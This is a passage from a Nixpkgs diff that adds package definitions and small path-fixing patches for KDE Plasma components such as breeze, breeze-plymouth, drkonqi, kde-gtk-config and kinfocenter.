+1,7 @@ + prefix=@CMAKE_INSTALL_PREFIX@ + exec_prefix=@CMAKE_INSTALL_PREFIX@ +-libdir=${exec_prefix}/@CMAKE_INSTALL_LIBDIR@ +-includedir=${prefix}/@CMAKE_INSTALL_INCLUDEDIR@/@POLKITQT-1_INCLUDE_PATH@ ++libdir=@CMAKE_INSTALL_FULL_LIBDIR@ ++includedir=@CMAKE_INSTALL_FULL_INCLUDEDIR@/@POLKITQT-1_INCLUDE_PATH@ + + Name: @POLKITQT-1_AGENT_PCNAME@ + Description: Convenience library for using polkit Agent with a Qt-styled API +diff --git a/polkit-qt6-core-1.pc.cmake b/polkit-qt6-core-1.pc.cmake +index 2f5d562..387c64b 100644 +--- a/polkit-qt6-core-1.pc.cmake ++++ b/polkit-qt6-core-1.pc.cmake +@@ -1,7 +1,7 @@ + prefix=@CMAKE_INSTALL_PREFIX@ + exec_prefix=@CMAKE_INSTALL_PREFIX@ +-libdir=${exec_prefix}/@CMAKE_INSTALL_LIBDIR@ +-includedir=${prefix}/@CMAKE_INSTALL_INCLUDEDIR@/@POLKITQT-1_INCLUDE_PATH@ ++libdir=@CMAKE_INSTALL_FULL_LIBDIR@ ++includedir=@CMAKE_INSTALL_FULL_INCLUDEDIR@/@POLKITQT-1_INCLUDE_PATH@ + + Name: @POLKITQT-1_CORE_PCNAME@ + Description: Convenience library for using polkit with a Qt-styled API, non-GUI classes +diff --git a/polkit-qt6-gui-1.pc.cmake b/polkit-qt6-gui-1.pc.cmake +index 1d208fb..dd95f52 100644 +--- a/polkit-qt6-gui-1.pc.cmake ++++ b/polkit-qt6-gui-1.pc.cmake +@@ -1,7 +1,7 @@ + prefix=@CMAKE_INSTALL_PREFIX@ + exec_prefix=@CMAKE_INSTALL_PREFIX@ +-libdir=${exec_prefix}/@CMAKE_INSTALL_LIBDIR@ +-includedir=${prefix}/@CMAKE_INSTALL_INCLUDEDIR@/@POLKITQT-1_INCLUDE_PATH@ ++libdir=@CMAKE_INSTALL_FULL_LIBDIR@ ++includedir=@CMAKE_INSTALL_FULL_INCLUDEDIR@/@POLKITQT-1_INCLUDE_PATH@ + + Name: @POLKITQT-1_GUI_PCNAME@ + Description: Convenience library for using polkit with a Qt-styled API, GUI classes diff --git a/pkgs/kde/misc/pulseaudio-qt/default.nix b/pkgs/kde/misc/pulseaudio-qt/default.nix new file mode 100644 index 0000000000000..7f4ee4a39b410 --- /dev/null +++ b/pkgs/kde/misc/pulseaudio-qt/default.nix @@ -0,0 +1,21 @@ +{ + lib, + mkKdeDerivation, + fetchurl, + pkg-config, + pulseaudio, +}: +mkKdeDerivation rec { + pname = "pulseaudio-qt"; + version = "1.4.0"; + + src = fetchurl { + url = "mirror://kde/stable/pulseaudio-qt/pulseaudio-qt-${version}.tar.xz"; + hash = "sha256-2MpiTs8hMIVrhZz5NBF39v74xR8g93KNgH0JxxUO0GU="; + }; + + extraNativeBuildInputs = [pkg-config]; + extraBuildInputs = [pulseaudio]; + + meta.license = with lib.licenses; [lgpl21Only lgpl3Only]; +} diff --git a/pkgs/kde/plasma/bluedevil/default.nix b/pkgs/kde/plasma/bluedevil/default.nix new file mode 100644 index 0000000000000..993d121d1f37a --- /dev/null +++ b/pkgs/kde/plasma/bluedevil/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + shared-mime-info, +}: +mkKdeDerivation { + pname = "bluedevil"; + + extraNativeBuildInputs = [shared-mime-info]; +} diff --git a/pkgs/kde/plasma/breeze-grub/default.nix b/pkgs/kde/plasma/breeze-grub/default.nix new file mode 100644 index 0000000000000..a5fe01b4cad7e --- /dev/null +++ b/pkgs/kde/plasma/breeze-grub/default.nix @@ -0,0 +1,17 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "breeze-grub"; + + # doesn't actually use cmake or anything + nativeBuildInputs = []; + buildInputs = []; + + installPhase = '' + runHook preInstall + + mkdir -p "$out/grub/themes" + mv breeze "$out/grub/themes" + + runHook postInstall + ''; +} diff --git a/pkgs/kde/plasma/breeze-gtk/0001-fix-add-executable-bit.patch b/pkgs/kde/plasma/breeze-gtk/0001-fix-add-executable-bit.patch new file mode 100644 index 0000000000000..8ed8222205989 --- /dev/null +++ b/pkgs/kde/plasma/breeze-gtk/0001-fix-add-executable-bit.patch @@ -0,0 +1,25 @@ +From da6a4651f74625f4c7f3c31f1125cfa4e774780b Mon Sep 17 00:00:00 2001 +From: Yaroslav Bolyukin <iam@lach.pw> +Date: Mon, 27 Sep 2021 22:45:58 +0300 +Subject: [PATCH] fix: add executable bit + +Signed-off-by: Yaroslav Bolyukin <iam@lach.pw> +--- + src/CMakeLists.txt | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/src/CMakeLists.txt b/src/CMakeLists.txt +index 79ff12d..4f3d746 100644 +--- a/src/CMakeLists.txt ++++ b/src/CMakeLists.txt +@@ -2,7 +2,7 @@ file(GLOB_RECURSE SCSS_SOURCES "*.scss") + file(GLOB CSS_SOURCES "*.css") + file(GLOB_RECURSE GTK2_SOURCES "gtk2/*") + +-configure_file(build_theme.sh.cmake ${CMAKE_CURRENT_BINARY_DIR}/build_theme.sh @ONLY) ++configure_file(build_theme.sh.cmake ${CMAKE_CURRENT_BINARY_DIR}/build_theme.sh FILE_PERMISSIONS OWNER_READ OWNER_WRITE OWNER_EXECUTE GROUP_READ GROUP_EXECUTE WORLD_READ WORLD_EXECUTE @ONLY) + + set(SOURCES + ${SCSS_SOURCES} +-- +2.33.0 diff --git a/pkgs/kde/plasma/breeze-gtk/default.nix b/pkgs/kde/plasma/breeze-gtk/default.nix new file mode 100644 index 0000000000000..fc0bc4759d483 --- /dev/null +++ b/pkgs/kde/plasma/breeze-gtk/default.nix @@ -0,0 +1,14 @@ +{ + mkKdeDerivation, + sass, + python3, + python3Packages, +}: +mkKdeDerivation { + pname = "breeze-gtk"; + + # FIXME(later): upstream + patches = [./0001-fix-add-executable-bit.patch]; + + extraNativeBuildInputs = [sass python3 python3Packages.pycairo]; +} diff --git a/pkgs/kde/plasma/breeze-plymouth/default.nix b/pkgs/kde/plasma/breeze-plymouth/default.nix new file mode 100644 index 0000000000000..7551eca94e3a1 --- /dev/null +++ b/pkgs/kde/plasma/breeze-plymouth/default.nix @@ -0,0 +1,52 @@ +{ + lib, + mkKdeDerivation, + pkg-config, + plymouth, + imagemagick, + netpbm, + perl, + logoName ? null, + logoFile ? null, + osName ? null, + osVersion ? null, + topColor ? "black", + bottomColor ? "black", +}: let + validColors = ["black" "cardboard_grey" "charcoal_grey" "icon_blue" "paper_white" "plasma_blue" "neon_blue" "neon_green"]; + resolvedLogoName = + if (logoFile != null && logoName == null) + then lib.strings.removeSuffix ".png" (baseNameOf (toString logoFile)) + else logoName; +in + assert lib.asserts.assertOneOf "topColor" topColor validColors; + assert lib.asserts.assertOneOf "bottomColor" bottomColor validColors; + mkKdeDerivation { + pname = "breeze-plymouth"; + + # FIXME(later): discuss with upstream + patches = [./install-paths.patch]; + + extraNativeBuildInputs = [pkg-config] ++ lib.optionals (logoFile != null) [imagemagick netpbm perl]; + extraBuildInputs = [plymouth]; + + extraCmakeFlags = + [] + ++ lib.optional (osName != null) "-DDISTRO_NAME=${osName}" + ++ lib.optional (osVersion != null) "-DDISTRO_VERSION=${osVersion}" + ++ lib.optional (logoName != null) "-DDISTRO_LOGO=${logoName}" + ++ lib.optional (topColor != null) "-DBACKGROUND_TOP_COLOR=${topColor}" + ++ lib.optional (bottomColor != null) "-DBACKGROUND_BOTTOM_COLOR=${bottomColor}"; + + postPatch = + '' + substituteInPlace cmake/FindPlymouth.cmake --subst-var out + '' + + lib.optionalString (logoFile != null) '' + cp ${logoFile} breeze/images/${resolvedLogoName}.logo.png + + # conversion for 16bit taken from the breeze-plymouth readme + convert ${logoFile} -alpha Background -background "#000000" -fill "#000000" -flatten tmp.png + pngtopnm tmp.png | pnmquant 16 | pnmtopng > breeze/images/16bit/${resolvedLogoName}.logo.png + ''; + } diff --git a/pkgs/kde/plasma/breeze-plymouth/install-paths.patch b/pkgs/kde/plasma/breeze-plymouth/install-paths.patch new file mode 100644 index 0000000000000..5d5856d122ddb --- /dev/null +++ b/pkgs/kde/plasma/breeze-plymouth/install-paths.patch @@ -0,0 +1,19 @@ +Index: breeze-plymouth-5.7.3/cmake/FindPlymouth.cmake +=================================================================== +--- breeze-plymouth-5.7.3.orig/cmake/FindPlymouth.cmake ++++ breeze-plymouth-5.7.3/cmake/FindPlymouth.cmake +@@ -24,12 +24,8 @@ + include(FindPkgConfig) + + pkg_check_modules(Plymouth ply-boot-client ply-splash-core) +-exec_program(${PKG_CONFIG_EXECUTABLE} +- ARGS ply-splash-core --variable=pluginsdir +- OUTPUT_VARIABLE Plymouth_PLUGINSDIR) +-exec_program(${PKG_CONFIG_EXECUTABLE} +- ARGS ply-splash-core --variable=themesdir +- OUTPUT_VARIABLE Plymouth_THEMESDIR) ++set(Plymouth_PLUGINSDIR "@out@/lib/plymouth") ++set(Plymouth_THEMESDIR "@out@/share/plymouth/themes") + + find_package_handle_standard_args(Plymouth + FOUND_VAR diff --git a/pkgs/kde/plasma/breeze/default.nix b/pkgs/kde/plasma/breeze/default.nix new file mode 100644 index 0000000000000..72dcbcae91f41 --- /dev/null +++ b/pkgs/kde/plasma/breeze/default.nix @@ -0,0 +1,44 @@ +{ + mkKdeDerivation, + qtbase, + libsForQt5, +}: +mkKdeDerivation { + pname = "breeze"; + + outputs = ["out" "dev" "qt5"]; + + # We can't add qt5 stuff to dependencies or the hooks blow up, + # so manually point everything to everything. Oof. + extraCmakeFlags = [ + "-DQt5_DIR=${libsForQt5.qtbase.dev}/lib/cmake/Qt5" + "-DQt5Core_DIR=${libsForQt5.qtbase.dev}/lib/cmake/Qt5Core" + "-DQt5DBus_DIR=${libsForQt5.qtbase.dev}/lib/cmake/Qt5DBus" + "-DQt5Gui_DIR=${libsForQt5.qtbase.dev}/lib/cmake/Qt5Gui" + "-DQt5Network_DIR=${libsForQt5.qtbase.dev}/lib/cmake/Qt5Network" + "-DQt5Qml_DIR=${libsForQt5.qtdeclarative.dev}/lib/cmake/Qt5Qml" + "-DQt5QmlModels_DIR=${libsForQt5.qtdeclarative.dev}/lib/cmake/Qt5QmlModels" + "-DQt5Quick_DIR=${libsForQt5.qtdeclarative.dev}/lib/cmake/Qt5Quick" + "-DQt5Widgets_DIR=${libsForQt5.qtbase.dev}/lib/cmake/Qt5Widgets" + "-DQt5X11Extras_DIR=${libsForQt5.qtx11extras.dev}/lib/cmake/Qt5X11Extras" + "-DQt5Xml_DIR=${libsForQt5.qtbase.dev}/lib/cmake/Qt5Xml" + + "-DKF5Auth_DIR=${libsForQt5.kauth.dev}/lib/cmake/KF5Auth" + "-DKF5Codecs_DIR=${libsForQt5.kcodecs.dev}/lib/cmake/KF5Codecs" + "-DKF5Config_DIR=${libsForQt5.kconfig.dev}/lib/cmake/KF5Config" + "-DKF5ConfigWidgets_DIR=${libsForQt5.kconfigwidgets.dev}/lib/cmake/KF5ConfigWidgets" + "-DKF5CoreAddons_DIR=${libsForQt5.kcoreaddons.dev}/lib/cmake/KF5CoreAddons" + "-DKF5FrameworkIntegration_DIR=${libsForQt5.frameworkintegration.dev}/lib/cmake/KF5FrameworkIntegration" + "-DKF5GuiAddons_DIR=${libsForQt5.kguiaddons.dev}/lib/cmake/KF5GuiAddons" + "-DKF5IconThemes_DIR=${libsForQt5.kiconthemes.dev}/lib/cmake/KF5IconThemes" + "-DKF5Kirigami2_DIR=${libsForQt5.kirigami2.dev}/lib/cmake/KF5Kirigami2" + "-DKF5WidgetsAddons_DIR=${libsForQt5.kwidgetsaddons.dev}/lib/cmake/KF5WidgetsAddons" + "-DKF5WindowSystem_DIR=${libsForQt5.kwindowsystem.dev}/lib/cmake/KF5WindowSystem" + ]; + + # Move Qt5 plugin to Qt5 plugin path + postInstall = '' + mkdir -p $qt5/${libsForQt5.qtbase.qtPluginPrefix}/styles + mv $out/${qtbase.qtPluginPrefix}/styles/breeze5.so $qt5/${libsForQt5.qtbase.qtPluginPrefix}/styles + ''; +} diff --git a/pkgs/kde/plasma/default.nix b/pkgs/kde/plasma/default.nix new file mode 100644 index 0000000000000..a29c1fc36d2e8 --- /dev/null +++ b/pkgs/kde/plasma/default.nix @@ -0,0 +1,65 @@ +{callPackage}: { + bluedevil = callPackage ./bluedevil {}; + breeze = callPackage ./breeze {}; + breeze-grub = callPackage ./breeze-grub {}; + breeze-gtk = callPackage ./breeze-gtk {}; + breeze-plymouth = callPackage ./breeze-plymouth {}; + discover = callPackage ./discover {}; + drkonqi = callPackage ./drkonqi {}; + flatpak-kcm = callPackage ./flatpak-kcm {}; + kactivitymanagerd = callPackage ./kactivitymanagerd {}; + kde-cli-tools = callPackage ./kde-cli-tools {}; + kde-gtk-config = callPackage ./kde-gtk-config {}; + kdecoration = callPackage ./kdecoration {}; + kdeplasma-addons = callPackage ./kdeplasma-addons {}; + kgamma = callPackage ./kgamma {}; + kglobalacceld = callPackage ./kglobalacceld {}; + kinfocenter = callPackage ./kinfocenter {}; + kmenuedit = callPackage ./kmenuedit {}; + kpipewire = callPackage ./kpipewire {}; + kscreen = callPackage ./kscreen {}; + kscreenlocker = callPackage ./kscreenlocker {}; + ksshaskpass = callPackage ./ksshaskpass {}; + ksystemstats = callPackage ./ksystemstats {}; + kwallet-pam = callPackage ./kwallet-pam {}; + kwayland = callPackage ./kwayland {}; + kwayland-integration = callPackage ./kwayland-integration {}; + kwin = callPackage ./kwin {}; + kwrited = callPackage ./kwrited {}; + layer-shell-qt = callPackage ./layer-shell-qt {}; + libkscreen = callPackage ./libkscreen {}; + libksysguard = callPackage ./libksysguard {}; + libplasma = callPackage ./libplasma {}; + milou = callPackage ./milou {}; + ocean-sound-theme = callPackage ./ocean-sound-theme {}; + oxygen = callPackage ./oxygen {}; + oxygen-sounds = callPackage ./oxygen-sounds {}; + plasma-activities = callPackage ./plasma-activities {}; + plasma-activities-stats = callPackage ./plasma-activities-stats {}; + plasma-browser-integration = callPackage ./plasma-browser-integration {}; + plasma-desktop = callPackage ./plasma-desktop {}; + plasma-disks = callPackage ./plasma-disks {}; + plasma-firewall = callPackage ./plasma-firewall {}; + plasma-integration = callPackage ./plasma-integration {}; + plasma-mobile = callPackage ./plasma-mobile {}; + plasma-nano = callPackage ./plasma-nano {}; + plasma-nm = callPackage ./plasma-nm {}; + plasma-pa = callPackage ./plasma-pa {}; + plasma-sdk = callPackage ./plasma-sdk {}; + plasma-systemmonitor = callPackage ./plasma-systemmonitor {}; + plasma-thunderbolt = callPackage ./plasma-thunderbolt {}; + plasma-vault = callPackage ./plasma-vault {}; + plasma-welcome = callPackage ./plasma-welcome {}; + plasma-workspace = callPackage ./plasma-workspace {}; + plasma-workspace-wallpapers = callPackage ./plasma-workspace-wallpapers {}; + plasma5support = callPackage ./plasma5support {}; + plymouth-kcm = callPackage ./plymouth-kcm {}; + polkit-kde-agent-1 = callPackage ./polkit-kde-agent-1 {}; + powerdevil = callPackage ./powerdevil {}; + print-manager = callPackage ./print-manager {}; + qqc2-breeze-style = callPackage ./qqc2-breeze-style {}; + sddm-kcm = callPackage ./sddm-kcm {}; + systemsettings = callPackage ./systemsettings {}; + wacomtablet = callPackage ./wacomtablet {}; + xdg-desktop-portal-kde = callPackage ./xdg-desktop-portal-kde {}; +} diff --git a/pkgs/kde/plasma/discover/default.nix b/pkgs/kde/plasma/discover/default.nix new file mode 100644 index 0000000000000..2795f3d1414e4 --- /dev/null +++ b/pkgs/kde/plasma/discover/default.nix @@ -0,0 +1,14 @@ +{ + mkKdeDerivation, + qtwebview, + pkg-config, + discount, + flatpak, + fwupd, +}: +mkKdeDerivation { + pname = "discover"; + + extraNativeBuildInputs = [pkg-config]; + extraBuildInputs = [qtwebview discount flatpak fwupd]; +} diff --git a/pkgs/kde/plasma/drkonqi/default.nix b/pkgs/kde/plasma/drkonqi/default.nix new file mode 100644 index 0000000000000..392e1fae71e96 --- /dev/null +++ b/pkgs/kde/plasma/drkonqi/default.nix @@ -0,0 +1,41 @@ +{ + mkKdeDerivation, + pkg-config, + systemd, + gdb, + python3, + substituteAll, + coreutils, +}: let + gdb' = gdb.override { + hostCpuOnly = true; + python3 = python3.withPackages (ps: [ + ps.psutil + ps.pygdbmi + ps.sentry-sdk + ]); + }; +in + mkKdeDerivation { + pname = "drkonqi"; + + patches = [ + (substituteAll { + src = ./gdb-path.patch; + gdb = "${gdb'}/bin/gdb"; + }) + ]; + + postPatch = '' + substituteInPlace src/coredump/processor/drkonqi-coredump-pickup.service.cmake \ + --replace /usr/bin/sleep ${coreutils}/bin/sleep + ''; + + extraNativeBuildInputs = [pkg-config]; + extraBuildInputs = [systemd]; + + extraCmakeFlags = [ + "-DWITH_GDB12=1" + "-DWITH_PYTHON_VENDORING=0" + ]; + } diff --git a/pkgs/kde/plasma/drkonqi/gdb-path.patch b/pkgs/kde/plasma/drkonqi/gdb-path.patch new file mode 100644 index 0000000000000..a49816d96f7bd --- /dev/null +++ b/pkgs/kde/plasma/drkonqi/gdb-path.patch @@ -0,0 +1,28 @@ +diff --git a/src/data/debuggers/internal/gdbrc b/src/data/debuggers/internal/gdbrc +index 9a5c8fee..c32b1510 100644 +--- a/src/data/debuggers/internal/gdbrc ++++ b/src/data/debuggers/internal/gdbrc +@@ -72,17 +72,18 @@ Name[wa]=gdb + Name[x-test]=xxgdbxx + Name[zh_CN]=gdb + Name[zh_TW]=gdb +-TryExec=gdb ++TryExec=@gdb@ ++CodeName=gdb + Backends=KCrash|coredump-core + + [KCrash] +-Exec=gdb -nw -n -batch -x %preamblefile -x %tempfile -p %pid %execpath +-ExecWithSymbolResolution=gdb -nw -n -batch --init-eval-command='set debuginfod enabled on' -x %preamblefile -x %tempfile -p %pid %execpath ++Exec=@gdb@ -nw -n -batch -x %preamblefile -x %tempfile -p %pid %execpath ++ExecWithSymbolResolution=@gdb@ -nw -n -batch --init-eval-command='set debuginfod enabled on' -x %preamblefile -x %tempfile -p %pid %execpath + PreambleCommands=set width 200\nsource %drkonqi_datadir/python/gdb_preamble/preamble.py\npy print_preamble() + BatchCommands=thread\nthread apply all bt + + [coredump-core] +-Exec=gdb --nw --nx --batch --command=%preamblefile --command=%tempfile --core=%corefile %execpath +-ExecWithSymbolResolution=gdb --nw --nx --batch --init-eval-command='set debuginfod enabled on' --command=%preamblefile --command=%tempfile --core=%corefile %execpath ++Exec=@gdb@ --nw --nx --batch --command=%preamblefile --command=%tempfile --core=%corefile %execpath ++ExecWithSymbolResolution=@gdb@ --nw --nx --batch --init-eval-command='set debuginfod enabled on' --command=%preamblefile --command=%tempfile --core=%corefile %execpath + PreambleCommands=set width 200\nsource %drkonqi_datadir/python/gdb_preamble/preamble.py\npy print_preamble() + BatchCommands=thread\nthread apply all bt diff --git a/pkgs/kde/plasma/flatpak-kcm/default.nix b/pkgs/kde/plasma/flatpak-kcm/default.nix new file mode 100644 index 0000000000000..a43447a154133 --- /dev/null +++ b/pkgs/kde/plasma/flatpak-kcm/default.nix @@ -0,0 +1,12 @@ +{ + mkKdeDerivation, + pkg-config, + qtsvg, + flatpak, +}: +mkKdeDerivation { + pname = "flatpak-kcm"; + + extraNativeBuildInputs = [pkg-config]; + extraBuildInputs = [flatpak qtsvg]; +} diff --git a/pkgs/kde/plasma/kactivitymanagerd/default.nix b/pkgs/kde/plasma/kactivitymanagerd/default.nix new file mode 100644 index 0000000000000..b0d2fea109ccc --- /dev/null +++ b/pkgs/kde/plasma/kactivitymanagerd/default.nix @@ -0,0 +1,10 @@ +{ + mkKdeDerivation, + qt5compat, + boost, +}: +mkKdeDerivation { + pname = "kactivitymanagerd"; + + extraBuildInputs = [qt5compat boost]; +} diff --git a/pkgs/kde/plasma/kde-cli-tools/default.nix b/pkgs/kde/plasma/kde-cli-tools/default.nix new file mode 100644 index 0000000000000..cbaddad841698 --- /dev/null +++ b/pkgs/kde/plasma/kde-cli-tools/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + qtsvg, +}: +mkKdeDerivation { + pname = "kde-cli-tools"; + + extraBuildInputs = [qtsvg]; +} diff --git a/pkgs/kde/plasma/kde-gtk-config/0001-gsettings-schemas-path.patch b/pkgs/kde/plasma/kde-gtk-config/0001-gsettings-schemas-path.patch new file mode 100644 index 0000000000000..2fe4672f6757f --- /dev/null +++ b/pkgs/kde/plasma/kde-gtk-config/0001-gsettings-schemas-path.patch @@ -0,0 +1,21 @@ +diff --git a/kded/gtkconfig.cpp b/kded/gtkconfig.cpp +index 5303636..199c4d5 100644 +--- a/kded/gtkconfig.cpp ++++ b/kded/gtkconfig.cpp +@@ -41,6 +41,16 @@ GtkConfig::GtkConfig(QObject *parent, const QVariantList&) : + kdeglobalsConfigWatcher(KConfigWatcher::create(KSharedConfig::openConfig(QStringLiteral("kdeglobals")))), + kwinConfigWatcher(KConfigWatcher::create(KSharedConfig::openConfig(QStringLiteral("kwinrc")))) + { ++ // Add GSETTINGS_SCHEMAS_PATH to the front of XDG_DATA_DIRS. ++ // Normally this would be done by wrapGAppsHook, but this plugin ++ // (shared object) cannot be wrapped. ++ QByteArray xdgdata = qgetenv("XDG_DATA_DIRS"); ++ if (!xdgdata.isEmpty()) { ++ xdgdata.push_front(":"); ++ } ++ xdgdata.push_front(QByteArray(GSETTINGS_SCHEMAS_PATH)); ++ qputenv("XDG_DATA_DIRS", xdgdata); ++ + QDBusConnection dbus = QDBusConnection::sessionBus(); + dbus.registerService(QStringLiteral("org.kde.GtkConfig")); + dbus.registerObject(QStringLiteral("/GtkConfig"), this, QDBusConnection::ExportScriptableSlots); diff --git a/pkgs/kde/plasma/kde-gtk-config/default.nix b/pkgs/kde/plasma/kde-gtk-config/default.nix new file mode 100644 index 0000000000000..0101a56e93c68 --- /dev/null +++ b/pkgs/kde/plasma/kde-gtk-config/default.nix @@ -0,0 +1,24 @@ +{ + mkKdeDerivation, + pkg-config, + wrapGAppsHook, + sass, + qtsvg, + gsettings-desktop-schemas, +}: +mkKdeDerivation { + pname = "kde-gtk-config"; + + # The gtkconfig KDED module will crash the daemon if the GSettings schemas + # aren't found. + patches = [./0001-gsettings-schemas-path.patch]; + preConfigure = '' + NIX_CFLAGS_COMPILE+=" -DGSETTINGS_SCHEMAS_PATH=\"$GSETTINGS_SCHEMAS_PATH\"" + ''; + + extraNativeBuildInputs = [pkg-config wrapGAppsHook sass]; + extraBuildInputs = [qtsvg]; + dontWrapGApps = true; # There is nothing to wrap + + extraCmakeFlags = ["-DGLIB_SCHEMAS_DIR=${gsettings-desktop-schemas.out}/"]; +} diff --git a/pkgs/kde/plasma/kdecoration/default.nix b/pkgs/kde/plasma/kdecoration/default.nix new file mode 100644 index 0000000000000..9f879b1cea17f --- /dev/null +++ b/pkgs/kde/plasma/kdecoration/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "kdecoration"; +} diff --git a/pkgs/kde/plasma/kdeplasma-addons/default.nix b/pkgs/kde/plasma/kdeplasma-addons/default.nix new file mode 100644 index 0000000000000..afb0708e8e6b2 --- /dev/null +++ b/pkgs/kde/plasma/kdeplasma-addons/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + qtwebengine, +}: +mkKdeDerivation { + pname = "kdeplasma-addons"; + + extraBuildInputs = [qtwebengine]; +} diff --git a/pkgs/kde/plasma/kgamma/default.nix b/pkgs/kde/plasma/kgamma/default.nix new file mode 100644 index 0000000000000..dcd119ace8ecf --- /dev/null +++ b/pkgs/kde/plasma/kgamma/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + xorg, +}: +mkKdeDerivation { + pname = "kgamma"; + + extraBuildInputs = [xorg.libXxf86vm]; +} diff --git a/pkgs/kde/plasma/kglobalacceld/default.nix b/pkgs/kde/plasma/kglobalacceld/default.nix new file mode 100644 index 0000000000000..caafb6c91347e --- /dev/null +++ b/pkgs/kde/plasma/kglobalacceld/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "kglobalacceld"; +} diff --git a/pkgs/kde/plasma/kinfocenter/0001-tool-paths.patch b/pkgs/kde/plasma/kinfocenter/0001-tool-paths.patch new file mode 100644 index 0000000000000..543aecdec43fc --- /dev/null +++ b/pkgs/kde/plasma/kinfocenter/0001-tool-paths.patch @@ -0,0 +1,51 @@ +diff --git a/Modules/kwinsupportinfo/kcm_kwinsupportinfo.json.in b/Modules/kwinsupportinfo/kcm_kwinsupportinfo.json.in +index 0de6973e..30035768 100644 +--- a/Modules/kwinsupportinfo/kcm_kwinsupportinfo.json.in ++++ b/Modules/kwinsupportinfo/kcm_kwinsupportinfo.json.in +@@ -85,6 +85,6 @@ + "Name[zh_CN]": "窗口管理器", + "Name[zh_TW]": "視窗管理員" + }, +- "TryExec": "@QtBinariesDir@/qdbus", ++ "TryExec": "@qdbus@", + "X-KDE-KInfoCenter-Category": "graphical_information" + } +diff --git a/Modules/kwinsupportinfo/main.cpp b/Modules/kwinsupportinfo/main.cpp +index 6ae168b5..89d0a2ff 100644 +--- a/Modules/kwinsupportinfo/main.cpp ++++ b/Modules/kwinsupportinfo/main.cpp +@@ -18,7 +18,7 @@ public: + explicit KCMKWinSupportInfo(QObject *parent, const KPluginMetaData &data) + : KQuickConfigModule(parent, data) + { +- m_outputContext = new CommandOutputContext(QLibraryInfo::location(QLibraryInfo::BinariesPath) + QStringLiteral("/qdbus"), ++ m_outputContext = new CommandOutputContext(QStringLiteral("@qdbus@"), + {QStringLiteral("org.kde.KWin"), QStringLiteral("/KWin"), QStringLiteral("supportInformation")}, + parent); + } +diff --git a/Modules/xserver/kcm_xserver.json b/Modules/xserver/kcm_xserver.json +index b3f1ce24..dc610932 100644 +--- a/Modules/xserver/kcm_xserver.json ++++ b/Modules/xserver/kcm_xserver.json +@@ -141,7 +141,7 @@ + "Name[zh_CN]": "X 服务器", + "Name[zh_TW]": "X 伺服器" + }, +- "TryExec": "xdpyinfo", ++ "TryExec": "@xdpyinfo@", + "X-DocPath": "kinfocenter/graphical.html#xserver", + "X-KDE-KInfoCenter-Category": "graphical_information", + "X-KDE-Keywords": "X,X-Server,XServer,XFree86,Display,VideoCard,System Information", +diff --git a/Modules/xserver/main.cpp b/Modules/xserver/main.cpp +index 6d4d1e25..d39fe19e 100644 +--- a/Modules/xserver/main.cpp ++++ b/Modules/xserver/main.cpp +@@ -16,7 +16,7 @@ public: + explicit KCMXServer(QObject *parent, const KPluginMetaData &data) + : KQuickConfigModule(parent, data) + { +- m_outputContext = new CommandOutputContext(QStringLiteral("xdpyinfo"), {}, parent); ++ m_outputContext = new CommandOutputContext(QStringLiteral("@xdpyinfo@"), {}, parent); + } + CommandOutputContext *outputContext() const + { diff --git a/pkgs/kde/plasma/kinfocenter/default.nix b/pkgs/kde/plasma/kinfocenter/default.nix new file mode 100644 index 0000000000000..cc216dd22a7b5 --- /dev/null +++ b/pkgs/kde/plasma/kinfocenter/default.nix @@ -0,0 +1,29 @@ +{ + lib, + mkKdeDerivation, + substituteAll, + qttools, + xdpyinfo, + systemsettings, + libusb1, +}: +mkKdeDerivation { + pname = "kinfocenter"; + + patches = [ + (substituteAll { + src = ./0001-tool-paths.patch; + qdbus = "${lib.getBin qttools}/bin/qdbus"; + xdpyinfo = lib.getExe xdpyinfo; + }) + ]; + + # fix wrong symlink of infocenter pointing to a 'systemsettings5' binary in + # the same directory, while it is actually located in a completely different + # store path + preFixup = '' + ln -sf ${systemsettings}/bin/systemsettings $out/bin/kinfocenter + ''; + + extraBuildInputs = [libusb1]; +} diff --git a/pkgs/kde/plasma/kmenuedit/default.nix b/pkgs/kde/plasma/kmenuedit/default.nix new file mode 100644 index 0000000000000..2cfd932af1bf1 --- /dev/null +++ b/pkgs/kde/plasma/kmenuedit/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "kmenuedit"; +} diff --git a/pkgs/kde/plasma/kpipewire/default.nix b/pkgs/kde/plasma/kpipewire/default.nix new file mode 100644 index 0000000000000..c79bfc792d517 --- /dev/null +++ b/pkgs/kde/plasma/kpipewire/default.nix @@ -0,0 +1,15 @@ +{ + mkKdeDerivation, + qtquick3d, + pkg-config, + pipewire, + ffmpeg, + mesa, + libva, +}: +mkKdeDerivation { + pname = "kpipewire"; + + extraNativeBuildInputs = [pkg-config]; + extraBuildInputs = [qtquick3d pipewire ffmpeg mesa libva]; +} diff --git a/pkgs/kde/plasma/kscreen/default.nix b/pkgs/kde/plasma/kscreen/default.nix new file mode 100644 index 0000000000000..480912fe7fcbe --- /dev/null +++ b/pkgs/kde/plasma/kscreen/default.nix @@ -0,0 +1,15 @@ +{ + mkKdeDerivation, + qtsensors, + dbus, +}: +mkKdeDerivation { + pname = "kscreen"; + + extraBuildInputs = [qtsensors]; + + postFixup = '' + substituteInPlace $out/share/kglobalaccel/org.kde.kscreen.desktop \ + --replace-fail dbus-send ${dbus}/bin/dbus-send + ''; +} diff --git a/pkgs/kde/plasma/kscreenlocker/default.nix b/pkgs/kde/plasma/kscreenlocker/default.nix new file mode 100644 index 0000000000000..e7ee0a18b8e5f --- /dev/null +++ b/pkgs/kde/plasma/kscreenlocker/default.nix @@ -0,0 +1,10 @@ +{ + mkKdeDerivation, + pam, + qqc2-breeze-style, +}: +mkKdeDerivation { + pname = "kscreenlocker"; + + extraBuildInputs = [pam qqc2-breeze-style]; +} diff --git a/pkgs/kde/plasma/ksshaskpass/default.nix b/pkgs/kde/plasma/ksshaskpass/default.nix new file mode 100644 index 0000000000000..86834f8fa7c2d --- /dev/null +++ b/pkgs/kde/plasma/ksshaskpass/default.nix @@ -0,0 +1,4 @@ 